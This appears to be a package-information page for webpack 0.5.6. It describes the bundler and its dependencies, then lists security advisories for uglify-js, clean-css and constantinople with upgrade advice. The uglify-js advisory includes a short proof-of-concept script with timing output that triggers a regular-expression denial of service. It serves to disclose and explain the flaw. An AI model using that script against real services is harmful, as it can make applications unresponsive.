Webpack version 0.5.6 represents a minor update to the preceding stable version 0.5.5. Both versions serve as powerful module bundlers, designed to package CommonJs/AMD modules for browser deployment. This allows developers to split codebases into manageable bundles, offering on-demand loading for optimized performance. Core functionality remains consistent, supporting a wide array of file types out-of-the-box, including JavaScript, JSON, Jade, CoffeeScript, and CSS. The architecture further extends through custom loaders, empowering users to handle diverse asset types within their projects.
The dependency structure mirrors that of version 0.5.5, including key libraries like esprima, sprintf, optimist, and uglify-js for parsing, string formatting, argument parsing, and code minification respectively. A suite of loaders for CSS, raw files, value extraction, file handling, templating with Jade, JSON processing, LESS compilation, styling, bundle creation, CoffeeScript compilation, and script inclusion are also included. Testing is supported through mocha and should development dependencies.
The primary difference lies in the release date. Version 0.5.6 was released shortly after 0.5.5, roughly 3 minutes apart, which likely indicates a bugfix or very minor adjustment. For developers, this suggests that the upgrade from 0.5.5 to 0.5.6 should be seamless and low-risk, addressing potentially crucial, albeit small issues. This quick turnaround emphasizes the importance of staying up-to-date with patch releases for stability and reliability.
All the vulnerabilities related to the version 0.5.6 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js
prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.
Regular Expression Denial of Service in clean-css
Version of clean-css
prior to 4.1.11 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service.
Upgrade to version 4.1.11 or higher.
Sandbox Bypass Leading to Arbitrary Code Execution in constantinople
Versions of constantinople
prior to 3.1.1 are vulnerable to a sandbox bypass which can lead to arbitrary code execution.
Update to version 3.1.1 or later.